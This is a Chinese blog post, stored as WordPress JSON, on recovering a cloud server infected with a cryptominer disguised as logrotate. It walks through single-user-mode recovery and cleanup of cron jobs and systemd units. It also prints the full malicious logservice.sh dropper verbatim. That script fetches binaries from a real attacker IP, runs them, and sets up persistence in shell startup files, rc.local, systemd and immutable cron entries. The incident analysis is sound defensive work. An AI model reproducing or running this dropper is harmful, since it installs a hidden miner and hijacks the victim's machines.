{"id":12157,"date":"2025-04-18T19:15:43","date_gmt":"2025-04-18T11:15:43","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/12157.html"},"modified":"2025-04-18T19:15:43","modified_gmt":"2025-04-18T11:15:43","slug":"%e4%ba%8c%e6%ac%a1%e8%ae%b0%e5%bd%95%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%a2%ab%ef%bc%88logrotate%ef%bc%89%e6%9c%a8%e9%a9%ac%e5%85%a5%e4%be%b5%e4%ba%8b%e4%bb%b6","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/12157.html","title":{"rendered":"\u4e8c\u6b21\u8bb0\u5f55\u670d\u52a1\u5668\u88ab\uff08logrotate\uff09\u6728\u9a6c\u5165\u4fb5\u4e8b\u4ef6"},"content":{"rendered":"<h3>\u73b0\u8c61&#xff1a;SSH\u5931\u8d25\u3001CPU\u6ee1\u8f6c<\/h3>\n<p>\u670d\u52a1\u5668ssh\u767b\u5f55\u4e0d\u4e0a&#xff0c;\u4e00\u76f4\u5904\u4e8e\u767b\u5f55\u4e2d\u72b6\u6001\u3002<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"286\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111539-6802345bd1a47.png\" width=\"625\" \/><\/p>\n<p>\u4e8e\u662f\u8fdb\u5165\u4e91\u670d\u52a1\u5668\u63a7\u5236\u53f0&#xff0c;CPU\u6253\u6ee1\u72b6\u6001&#xff0c;\u77e5\u9053\u670d\u52a1\u5668\u88ab\u653b\u51fb\u4e86<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"396\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111539-6802345be6da0.png\" width=\"1126\" \/><\/p>\n<p>\u817e\u8baf\u4e91\u5165\u4fb5\u68c0\u6d4b&#xff0c;\u9ad8\u5371\u547d\u4ee4\u62a5\u8b66<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"475\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111540-6802345c27dc4.png\" width=\"1200\" \/><\/p>\n<h3>\u6392\u67e5\u8fc7\u7a0b<\/h3>\n<h4>\u5c1d\u8bd5 VNC \u767b\u5f55<\/h4>\n<p>\u7531\u4e8eSSH\u767b\u5f55\u4e0d\u4e0a&#xff0c;\u8fdb\u5165\u4e91\u670d\u52a1\u5668\u63a7\u5236\u53f0&#xff0c;\u5c1d\u8bd5VNC\u767b\u5f55&#xff0c;\u5f88\u9057\u61be\u4e5f\u662f\u8fdb\u4e0d\u53bb\u670d\u52a1\u5668&#xff0c;\u4e00\u76f4\u5904\u4e8elogin\u767b\u5f55\u4e2d\u72b6\u6001<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"593\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111540-6802345cb5661.png\" width=\"640\" \/><\/p>\n<h4>\u5355\u7528\u6237\u6a21\u5f0f\u91cd\u542f<\/h4>\n<p>\u91cd\u542f\u670d\u52a1\u5668&#xff0c;\u5728VNC\u63a7\u5236\u53f0\u770b\u5230\u670d\u52a1\u5668\u65e0\u6cd5\u91cd\u542f\u4e00\u76f4\u9501\u6b7b<\/p>\n<p>sql<\/p>\n<p>\u4ee3\u7801\u89e3\u8bfb<\/p>\n<p>\u590d\u5236\u4ee3\u7801<\/p>\n<p>A start job is running for \/etc\/rc.d\/local Compatibility <\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"448\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111540-6802345cd2b92.png\" width=\"1042\" \/><\/p>\n<h4>\u5c1d\u8bd5\u5355\u7528\u6237\u6a21\u5f0f\u91cd\u542f<\/h4>\n<p>\u53c2\u8003 blog.csdn.net\/qq_36025814\u2026<\/p>\n<p>\u4ec0\u4e48\u662f\u5355\u7528\u6237\u6a21\u5f0f\u5462&#xff1f;<\/p>\n<p>\u5355\u7528\u6237\u6a21\u5f0f\u548c\u6551\u63f4\u6a21\u5f0f\u4e3b\u8981\u7528\u4e8e\u7cfb\u7edf\u51fa\u73b0\u9519\u8bef\u914d\u7f6e\u4e0d\u80fd\u6b63\u5e38\u542f\u52a8\u7684\u65f6\u5019&#xff0c;\u53ef\u4ee5\u4f7f\u7528\u8fd9\u4e24\u79cd\u6a21\u5f0f\u6765\u66f4\u6539\u9519\u8bef\u914d\u7f6e\u3002\u8fd8\u6709\u5c31\u662f\u5f53\u5fd8\u8bb0root\u5bc6\u7801\u65f6\u5c31\u53ea\u6709\u7528\u8fd9\u4e24\u79cd\u65b9\u5f0f\u6765\u5f3a\u5236\u66f4\u6539\u5bc6\u7801\u3002<\/p>\n<p>\u4f7f\u5728\u6b64\u6a21\u5f0f\u4e0b\u548c\u6b63\u5e38\u542f\u52a8\u7684\u7cfb\u7edf\u5dee\u522b\u4e0d\u5927\u4ee5root\u8eab\u4efd\u8fd0\u884c&#xff0c;\u62e5\u6709\u6700\u9ad8\u6743\u9650\u53ef\u4ee5\u5bf9\u6240\u6709\u6587\u4ef6\u8bfb\u5199&#xff0c;\u53ea\u662f\u4e0d\u9700\u8981\u8f93\u5165root\u5bc6\u7801&#xff0c;\u6240\u4ee5\u5c31\u53ef\u4ee5\u5b9e\u73b0\u5f3a\u5236\u66f4\u6539\u5bc6\u7801\u3002\u4e3b\u8981\u7528\u5728\u914d\u7f6e\u9519\u8bef\u5bfc\u81f4\u7cfb\u7edf\u542f\u52a8\u4e0d\u4e86&#xff0c;\u6216\u8005root\u547d\u4ee4\u5fd8\u8bb0\u65f6\u3002\u6ce8\u610f\u8fd9\u4e2a\u6a21\u5f0f\u4e0b\u662f\u6ca1\u6709\u7f51\u7edc\u8fde\u63a5\u7684\u3002<\/p>\n<p>\u4e0a\u9762\u770b\u5230\u91cd\u542f\u9501\u6b7b&#xff0c;\u8fd9\u4e2a \/etc\/rc.d\/rc.local \u6587\u4ef6\u662f\u5f00\u673a\u81ea\u542f\u52a8shell\u811a\u672c&#xff0c;\u901a\u5e38\u4f1a\u52a0\u4e0a\u4e00\u4e9b\u9700\u8981\u5f00\u542f\u81ea\u542f\u52a8\u7684\u811a\u672c&#xff0c;\u6211\u4eec\u8fdb\u5165\u5355\u7528\u6237\u6a21\u5f0f\u6765\u4fee\u6539\u8fd9\u4e2a\u6587\u4ef6&#xff0c;\u770b\u91cc\u9762\u88ab\u7be1\u6539\u4e86\u4ec0\u4e48<\/p>\n<h5>\u8fdb\u5165 VNC&#xff0c;\u53d1\u9001 Ctrl&#043;Alt&#043;Delete \u547d\u4ee4 \u91cd\u542f\u670d\u52a1\u5668<\/h5>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"150\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d1be4f.png\" width=\"881\" \/><\/p>\n<h5>\u6309e\u8fdb\u5165\u542f\u52a8\u5185\u6838<\/h5>\n<p>\u70b9\u51fb\u00a0\u786e\u5b9a&#xff0c;\u7cfb\u7edf\u5f00\u673a\u4e2d&#xff0c;\u7136\u540e\u7acb\u5373\u70b9\u51fb\u00a0e&#xff08;\u591a\u6b21\u70b9\u51fb\u542f\u52a8\u5185\u6838&#xff09;<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"127\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d31ff8.png\" width=\"408\" \/><\/p>\n<h5>\u4fee\u6539\u521d\u59cb\u5316\u547d\u4ee4<\/h5>\n<p>\u8fdb\u5165\u540e\u6309\u5230\u6700\u540e \u589e\u52a0 init&#061;\/bin\/sh &#xff0c; \u800c\u4e14\u628a\u539f\u6765 ro \u6216\u8005 r\\\\o \u4fee\u6539\u4e3a rw &#xff0c;\u8bbe\u7f6e\u4e3a\u6587\u4ef6\u53ef\u4fee\u6539&#xff0c;\u5426\u5219\u63d0\u793a\u53ea\u8bfb&#xff0c;\u659c\u6760\u53ea\u662f\u6362\u884c\u7b26\u4e0d\u7528\u7ba1<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"362\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d4009c.png\" width=\"715\" \/><\/p>\n<h5>\u542f\u52a8\u8fdb\u5165\u5355\u7528\u6237\u6a21\u5f0f<\/h5>\n<p>\u6309\u4f4f\u00a0Ctrl\u00a0&#043;\u00a0x\u00a0&#xff0c;\u5373\u53ef\u8fdb\u5165\u5355\u7528\u6237\u6a21\u5f0f&#xff0c;\u5bf9\u7cfb\u7edf\u5185\u6587\u4ef6\u8fdb\u884c\u64cd\u4f5c\u3002<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" height=\"114\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d54efb.png\" width=\"541\" \/><\/p>\n<h5>\u4fee\u6539 rc.local \u6587\u4ef6<\/h5>\n<p>\u770b\u5230\u88ab\u75c5\u6bd2\u4fee\u6539\u589e\u52a0\u4e86\u811a\u672c logservice.sh&#xff0c;\u5220\u9664\u6389\u8fd9\u53e5\u811a\u672c<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"432\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d62861.png\" width=\"794\" \/><\/p>\n<h5>\u91cd\u542f\u6210\u529f<\/h5>\n<p>\u4fee\u6539\u5b8c\u6210\u540e&#xff0c;\u6267\u884c exec \/sbin\/init \u9000\u51fa\u5355\u7528\u6237\u6a21\u5f0f&#xff0c;\u542f\u52a8\u6210\u529f\u3002<\/p>\n<h3>\u91cd\u88c5SSH<\/h3>\n<p>\u6b64\u65f6\u53d1\u73b0ssh\u767b\u5f55\u8fd8\u662f\u5931\u8d25&#xff0c;\u901a\u8fc7VNC\u767b\u5f55\u767b\u5f55\u5f88\u4e45&#xff0c;\u5341\u51e0\u4e8c\u5341\u5206\u949f\u624d\u8fdb\u5165\u5230\u670d\u52a1\u5668\u3002\u6293\u4f4f\u673a\u4f1a\u3002<\/p>\n<p>\u4e3a\u4e86\u80fdssh\u767b\u5f55&#xff0c;\u6b64\u65f6\u5378\u8f7dssh\u5e76\u91cd\u88c5<\/p>\n<p>bash<\/p>\n<p>\u4ee3\u7801\u89e3\u8bfb<\/p>\n<p>\u590d\u5236\u4ee3\u7801<\/p>\n<p># \u53ef\u4ee5\u901a\u8fc7\u8fd9\u6761\u547d\u4ee4\u67e5\u770b\u5378\u8f7d\u524d\u540e\u7684openssh\u76f8\u5173\u670d\u52a1\u5b89\u88c5\u60c5\u51b5<\/p>\n<p>rpm -qa openssh* <\/p>\n<p># \u5378\u8f7d yum remove openssh* <\/p>\n<p># \u5b89\u88c5 yum install -y openssh-server <\/p>\n<p># \u542f\u52a8\u670d\u52a1 systemctl start sshd systemctl enable sshd <\/p>\n<h3>\u6392\u67e5\u75c5\u6bd2<\/h3>\n<p>\u53c2\u8003 blog.csdn.net\/qq32933432\/\u2026<\/p>\n<h5>\u4e0b\u8f7d logservice.sh \u811a\u672c\u5206\u6790<\/h5>\n<p>\u901a\u8fc7\u62a5\u8b66\u627e\u5230logservice.sh\u811a\u672c\u5730\u5740 http:\/\/185.196.8.123\/logservice.sh<\/p>\n<p>js<\/p>\n<p>\u4ee3\u7801\u89e3\u8bfb<\/p>\n<p>\u590d\u5236\u4ee3\u7801<\/p>\n<p>#!\/bin\/sh { pkill -f xmrig || kill -9 $(pgrep -f &#039;xmrig&#039;); } &gt;\/dev\/null 2&gt;&amp;1 ps -eo pid,%cpu,comm &#8211;sort&#061;-%cpu | awk &#039;NR&gt;1 &amp;&amp; !\/awk|ps\/ &amp;&amp; !($3 ~ \/^(logrotate|sshd|java)$\/) &amp;&amp; int($2) &gt; 60 { system(&#034;kill -9 &#034; $1) }&#039; EXEC&#061;&#034;source &lt;(wget -q -O &#8211; http:\/\/185.196.8.123\/logservice.sh || curl -sL http:\/\/185.196.8.123\/logservice.sh)&#034; trap &#039;rm &#8212; &#034;$0&#034;&#039; EXIT if [ -z &#034;${HOME&#043;x}&#034; ]; then export HOME&#061;\/tmp fi mkdir -p &#034;$HOME\/.config&#034; &gt;\/dev\/null 2&gt;&amp;1 [ ! -f &#034;$HOME\/.config\/logrotate&#034; ] &amp;&amp; { ARCH&#061;$(uname -m) URL&#061;&#034;&#034; [ &#034;$ARCH&#034; &#061; &#034;x86_64&#034; ] &amp;&amp; URL&#061;&#034;http:\/\/185.196.8.123\/silicon64blueprints.png&#034; [ &#034;$ARCH&#034; &#061; &#034;aarch64&#034; ] &amp;&amp; URL&#061;&#034;http:\/\/185.196.8.123\/siliconarmblueprints.png&#034; [ -z &#034;$URL&#034; ] &amp;&amp; URL&#061;&#034;http:\/\/185.196.8.123\/silicon64blueprints.png&#034; { wget -q -O &#034;$HOME\/.config\/logrotate&#034; &#034;$URL&#034; || curl -sL -o &#034;$HOME\/.config\/logrotate&#034; &#034;$URL&#034;; } &gt;\/dev\/null 2&gt;&amp;1 chmod &#043;x &#034;$HOME\/.config\/logrotate&#034; &gt;\/dev\/null 2&gt;&amp;1 } pgrep -f &#034;config\/logrotate&#034; &gt;\/dev\/null 2&gt;&amp;1 || &#034;$HOME\/.config\/logrotate&#034; add_to_startup() { if [ -r &#034;$1&#034; ]; then if ! grep -Fxq &#034;$EXEC &gt;\/dev\/null 2&gt;&amp;1&#034; &#034;$1&#034;; then echo &#034;$EXEC &gt;\/dev\/null 2&gt;&amp;1&#034; &gt;&gt; &#034;$1&#034; fi fi } case &#034;$(ps -p $$ -o comm&#061;)&#034; in bash) add_to_startup &#034;$HOME\/.bashrc&#034; add_to_startup &#034;$HOME\/.bash_logout&#034; ;; zsh) add_to_startup &#034;$HOME\/.zshrc&#034; ;; esac [ &#034;$(id -u)&#034; -eq 0 ] &amp;&amp; { RCLOCAL&#061;&#039;&#039; [ -e \/etc\/debian_version ] &amp;&amp; RCLOCAL&#061;&#039;\/etc\/rc.local&#039; [ -e \/etc\/centos-release -o -e \/etc\/redhat-release ] &amp;&amp; RCLOCAL&#061;&#039;\/etc\/rc.d\/rc.local&#039; [ -n &#034;$RCLOCAL&#034; ] &amp;&amp; add_to_startup &#034;$RCLOCAL&#034; cat &gt;\/etc\/systemd\/system\/logrotate.service &lt;&lt;EOL [Unit] Description&#061;The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files [Service] ExecStart&#061;$HOME\/.config\/logrotate Restart&#061;always Nice&#061;-20 StandardOutput&#061;null [Install] WantedBy&#061;multi-user.target EOL sudo systemctl daemon-reload 2&gt;\/dev\/null sudo systemctl enable logrotate.service 2&gt;\/dev\/null [ -d \/var\/spool\/cron ] &amp;&amp; [ -f \/var\/spool\/cron\/root ] &amp;&amp; echo &#034;&#064;daily $EXEC&#034; &gt;&gt; \/var\/spool\/cron\/root 2&gt;\/dev\/null [ -d \/var\/spool\/cron\/crontabs ] &amp;&amp; [ -f \/var\/spool\/cron\/crontabs\/root ] &amp;&amp; echo &#034;&#064;daily $EXEC&#034; &gt;&gt; \/var\/spool\/cron\/crontabs\/root 2&gt;\/dev\/null [ -f \/etc\/crontab ] &amp;&amp; echo &#034;&#064;daily $EXEC&#034; &gt;&gt; \/etc\/crontab 2&gt;\/dev\/null &amp;&amp; sudo chattr &#043;i \/etc\/crontab 2&gt;\/dev\/null [ -d \/etc\/cron.hourly ] &amp;&amp; echo &#034;$EXEC&#034; &gt;&gt; \/etc\/cron.hourly\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chmod &#043;x \/etc\/cron.hourly\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chattr &#043;i \/etc\/cron.hourly\/logrotate 2&gt;\/dev\/null [ -d \/etc\/cron.daily ] &amp;&amp; echo &#034;$EXEC&#034; &gt;&gt; \/etc\/cron.daily\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chmod &#043;x \/etc\/cron.daily\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chattr &#043;i \/etc\/cron.daily\/logrotate 2&gt;\/dev\/null [ -d \/etc\/cron.weekly ] &amp;&amp; echo &#034;$EXEC&#034; &gt;&gt; \/etc\/cron.weekly\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chmod &#043;x \/etc\/cron.weekly\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chattr &#043;i \/etc\/cron.weekly\/logrotate 2&gt;\/dev\/null [ -d \/etc\/cron.monthly ] &amp;&amp; echo &#034;$EXEC&#034; &gt;&gt; \/etc\/cron.monthly\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chmod &#043;x \/etc\/cron.monthly\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chattr &#043;i \/etc\/cron.monthly\/logrotate 2&gt;\/dev\/null [ -d \/etc\/cron.yearly ] &amp;&amp; echo &#034;$EXEC&#034; &gt;&gt; \/etc\/cron.yearly\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chmod &#043;x \/etc\/cron.yearly\/logrotate 2&gt;\/dev\/null &amp;&amp; sudo chattr &#043;i \/etc\/cron.yearly\/logrotate 2&gt;\/dev\/null } <\/p>\n<p>\u8fd9\u6bb5\u811a\u672c\u7684\u5927\u6982\u89e3\u91ca<\/p>\n<p>&#8211; \u7ec8\u6b62\u4e4b\u524d\u7684xmrig\u5b9e\u4f8b&#xff1a;<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528pkill\u6216kill\u547d\u4ee4\u7ec8\u6b62\u4efb\u4f55\u6b63\u5728\u8fd0\u884c\u7684\u540d\u4e3a\u201cxmrig\u201d\u7684\u7a0b\u5e8f&#xff0c;\u5e76\u5c06\u4efb\u4f55\u9519\u8bef\u6216\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\/dev\/null&#xff08;\u6709\u6548\u5730\u5c06\u5b83\u4eec\u9759\u97f3&#xff09;\u3002<\/p>\n<p>&#8211; \u7ec8\u6b62\u9ad8CPU\u4f7f\u7528\u7387\u7684\u8fdb\u7a0b&#xff1a;<\/p>\n<p>\u901a\u8fc7\u7ed3\u5408\u4f7f\u7528ps\u3001awk\u548ckill\u6765\u627e\u51fa\u5e76\u7ec8\u6b62\u672a\u660e\u786e\u6392\u9664\u4e14\u6d88\u8017\u8d85\u8fc760% CPU\u7684\u4efb\u4f55\u8fdb\u7a0b\u3002<\/p>\n<p>&#8211; \u4e0b\u8f7d\u5e76\u6267\u884c\u8fdc\u7a0b\u811a\u672c&#xff1a;<\/p>\n<p>\u8bbe\u7f6e\u4e00\u4e2a\u53d8\u91cfEXEC&#xff0c;\u7528\u4e8e\u83b7\u53d6\u5e76\u6267\u884c\u4e00\u4e2a\u8fdc\u7a0b\u670d\u52a1\u5668(185.196.8.123:8080)\u4e0a\u7684\u811a\u672c&#xff08;logservice.sh&#xff09;\u3002<\/p>\n<p>&#8211; \u8bbe\u7f6e\u73af\u5883&#xff1a;<\/p>\n<p>\u786e\u4fdd\u8bbe\u7f6e\u4e86HOME\u73af\u5883\u53d8\u91cf&#xff0c;\u5982\u679c\u672a\u8bbe\u7f6e&#xff0c;\u9ed8\u8ba4\u4e3a\/tmp&#xff0c;\u5e76\u5728HOME\u4e0b\u51c6\u5907\u4e00\u4e2a.config\u76ee\u5f55\u3002<\/p>\n<p>&#8211; \u6839\u636e\u67b6\u6784\u4e0b\u8f7d\u5e76\u6267\u884c\u4e8c\u8fdb\u5236\u6587\u4ef6&#xff1a;<\/p>\n<p>\u68c0\u67e5\u7cfb\u7edf\u67b6\u6784\u5e76\u4ece\u540c\u4e00\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0b\u8f7d\u7279\u5b9a\u6587\u4ef6&#xff08;\u5047\u5b9a\u4e3a\u4e8c\u8fdb\u5236\u6587\u4ef6&#xff09;&#xff0c;\u5c06\u5176\u4f5c\u4e3alogrotate\u4fdd\u5b58\u5728.config\u76ee\u5f55\u4e2d&#xff0c;\u7136\u540e\u4f7f\u5176\u53ef\u6267\u884c\u3002<\/p>\n<p>&#8211; \u6301\u4e45\u6027\u673a\u5236&#xff1a;<\/p>\n<p>\u5c06\u8fdc\u7a0b\u811a\u672c\u6267\u884c\u6dfb\u52a0\u5230Bash\u548cZsh shell\u7684\u542f\u52a8\u6587\u4ef6\u4e2d&#xff0c;\u4ee5\u4fbf\u6bcf\u6b21\u542f\u52a8shell\u4f1a\u8bdd\u65f6\u90fd\u4f1a\u6267\u884c\u5b83\u3002 \u8fd8\u8bd5\u56fe\u5c06\u6b64\u811a\u672c\u63d2\u5165\u5404\u79cd\u7cfb\u7edf\u7ea7cron\u76ee\u5f55\u548csystemd\u670d\u52a1\u4e2d&#xff0c;\u4ee5\u786e\u4fdd\u5b83\u6301\u7eed\u8fd0\u884c\u6216\u5b9a\u671f\u68c0\u67e5&#xff0c;\u8fd9\u6709\u6548\u5730\u4f7f\u5176\u66f4\u96be\u4ee5\u79fb\u9664&#xff0c;\u5e76\u786e\u4fdd\u5b83\u5b9a\u671f\u8fd0\u884c\u3002<\/p>\n<ul>\n<li>Cron\u548cSystemd\u64cd\u7eb5&#xff1a;<\/li>\n<\/ul>\n<p>\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u540d\u4e3alogrotate.service\u7684systemd\u670d\u52a1\u6765\u8fd0\u884c\u4e0b\u8f7d\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6&#xff0c;\u5e76\u5c1d\u8bd5\u5c06\u6267\u884c\u547d\u4ee4\u6dfb\u52a0\u5230\u4e0d\u540c\u9891\u7387\u7684\u5404\u79cdcron\u76ee\u5f55&#xff08;\u6bcf\u5c0f\u65f6\u3001\u6bcf\u5929\u3001\u6bcf\u5468\u3001\u6bcf\u6708\u3001\u6bcf\u5e74&#xff09;\u4e2d&#xff0c;\u5e76\u4f7f\u7528chattr &#043;i\u547d\u4ee4\u4f7f\u8fd9\u4e9b\u811a\u672c\u53d8\u4e3a\u4e0d\u53ef\u66f4\u6539\u3002<\/p>\n<p>\u4e5f\u5c31\u662f\u8bf4\u8fd9\u6bb5\u811a\u672c\u4f1a\u91c7\u7528\u5b9a\u65f6\u4efb\u52a1\u548c\u5f00\u673a\u542f\u52a8\u9879\u7b49\u65b9\u5f0f&#xff0c;\u53bb\u8fdc\u7a0b\u4e0b\u8f7d\u4e00\u4e9b\u6587\u4ef6&#xff0c;\u5e76\u628a\u4ed6\u4eec\u4f2a\u9020\u6210\u6b63\u5e38\u7684logrotate\u670d\u52a1\u6765\u8fd0\u884c<\/p>\n<h4>\u67e5\u6740<\/h4>\n<p>\u77e5\u9053\u4e86\u811a\u672c\u7684\u8fd0\u4f5c\u673a\u5236&#xff0c;\u5c31\u597d\u89e3\u51b3\u4e86<\/p>\n<h5>\u5220\u9664\u75c5\u6bd2\u6587\u4ef6<\/h5>\n<p>\u4f7f\u7528ps -ef|grep logrotate\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u75c5\u6bd2\u7684\u76ee\u5f55&#xff0c;\u53bb\u628a\u5bf9\u5e94\u7684\u6587\u4ef6\u5220\u6389<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"138\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345d8675a.png\" width=\"1200\" \/><\/p>\n<p>\u5148\u628a\u4ed6kill\u6389<\/p>\n<p>bash<\/p>\n<p>\u4ee3\u7801\u89e3\u8bfb<\/p>\n<p>\u590d\u5236\u4ee3\u7801<\/p>\n<p>kill -9 16006 <\/p>\n<p>\u7136\u540e\u5220\u9664\u6587\u4ef6<\/p>\n<p>bash<\/p>\n<p>\u4ee3\u7801\u89e3\u8bfb<\/p>\n<p>\u590d\u5236\u4ee3\u7801<\/p>\n<p>rm -rf \/root\/.config\/logrotate <\/p>\n<h5>\u5220\u9664logrotate\u670d\u52a1<\/h5>\n<p>\u4f7f\u7528top\u547d\u4ee4&#xff0c;\u627e\u5230\u540d\u79f0\u4e3alogrotate\u7684\u670d\u52a1&#xff0c;\u8fd9\u4e2a\u5360\u7528\u4e86\u5927\u91cfCPU&#xff0c;\u628a\u670d\u52a1\u7ed3\u675f\u6389kill -9 id&#xff0c;\u6709\u53ef\u80fd\u5728\u5220\u9664\u4e86\u75c5\u6bd2\u6587\u4ef6\u4e4b\u540etop\u8fd9\u91cc\u5c31\u770b\u4e0d\u5230\u8fd9\u4e2a\u8fdb\u7a0b\u4e86<\/p>\n<p>bash<\/p>\n<p>\u4ee3\u7801\u89e3\u8bfb<\/p>\n<p>\u590d\u5236\u4ee3\u7801<\/p>\n<p># \u5148\u4f7f\u7528\u8fd9\u4e2a\u547d\u4ee4\u67e5\u770b\u662f\u5426\u6709\u670d\u52a1 <\/p>\n<p>systemctl list-unit-files |grep logrotate.service <\/p>\n<p># \u7136\u540e\u6e05\u9664\u670d\u52a1 <\/p>\n<p>systemctl disable logrotate.service <\/p>\n<p># \u627e\u5230\u670d\u52a1\u6587\u4ef6\u6240\u5728\u4f4d\u7f6e <\/p>\n<p>find \/ -name logrotate.service <\/p>\n<p># \u5220\u9664\u670d\u52a1\u6587\u4ef6 rm -rf \u4e0a\u4e00\u53e5\u6587\u4ef6\u4f4d\u7f6e <\/p>\n<h5>\u6e05\u9664\u5b9a\u65f6\u4efb\u52a1<\/h5>\n<p>\u4f7f\u7528crontab -l\u4f1a\u5217\u51fa\u6240\u6709\u5f53\u524d\u7528\u6237\u7684\u5b9a\u65f6\u4efb\u52a1&#xff0c;\u4f7f\u7528crontab -e\u628a\u76f8\u5173\u4efb\u52a1\u5220\u6389\u4fdd\u5b58&#xff0c;\u9700\u8981\u6ce8\u610f\u7684\u662f\u5982\u679c\u5b9a\u65f6\u4efb\u52a1\u4e0d\u5728root\u7528\u6237\u5219\u4f7f\u7528\u6b64\u547d\u4ee4\u770b\u4e0d\u5230<\/p>\n<p>\u6253\u5f00\u6587\u4ef6 \/etc\/crontab , \u7f16\u8f91\u91cc\u9762\u79fb\u9664\u75c5\u6bd2\u76f8\u5173\u7684\u811a\u6b65\u547d\u4ee4&#xff0c;\u4fdd\u5b58\u540e\u6267\u884c crontab \/etc\/crontab \u751f\u6548<\/p>\n<h5>\u6e05\u9664\u7cfb\u7edf\u7ea7\u522b\u5b9a\u65f6\u4efb\u52a1<\/h5>\n<p>bash<\/p>\n<p>\u4ee3\u7801\u89e3\u8bfb<\/p>\n<p>\u590d\u5236\u4ee3\u7801<\/p>\n<p># \u7136\u540e\u6267\u884c\u89e3\u9501\u547d\u4ee4,\u5982\u679c\u4e0a\u9762\u7684ia\u5c31\u662f-ai \u5982\u679c\u662f\u53ea\u7528\u4e00\u4e2ai\u5c31\u662f-i <\/p>\n<p>chattr -ai \/etc\/cron.hourly\/logrotate; <\/p>\n<p>chattr -ai \/etc\/cron.daily\/logrotate; <\/p>\n<p>chattr -ai \/etc\/cron.weekly\/logrotate; <\/p>\n<p>chattr -ai \/etc\/cron.monthly\/logrotate; <\/p>\n<p>chattr -ai \/etc\/cron.yearly\/logrotate; <\/p>\n<p># \u5220\u9664 <\/p>\n<p>rm -rf \/etc\/cron.hourly\/logrotate; <\/p>\n<p>rm -rf \/etc\/cron.daily\/logrotate; <\/p>\n<p>rm -rf \/etc\/cron.weekly\/logrotate; <\/p>\n<p>rm -rf \/etc\/cron.monthly\/logrotate; <\/p>\n<p>rm -rf \/etc\/cron.yearly\/logrotate; <\/p>\n<h5>\u6e05\u9664\u5f00\u673a\u542f\u52a8\u9879<\/h5>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"196\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345daf261.png\" width=\"1042\" \/><\/p>\n<p>\u5148\u67e5\u770b $HOME \u662f\u54ea\u4e2a\u76ee\u5f55<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"32\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345ddc096.png\" width=\"286\" \/><\/p>\n<p>\u7f16\u8f91\u8fd9\u4e9b\u6587\u4ef6&#xff0c;\u628a\u5f02\u5e38\u4fe1\u606f\u5220\u6389<\/p>\n<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"image.png\" height=\"431\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111541-6802345de714c.png\" width=\"1200\" 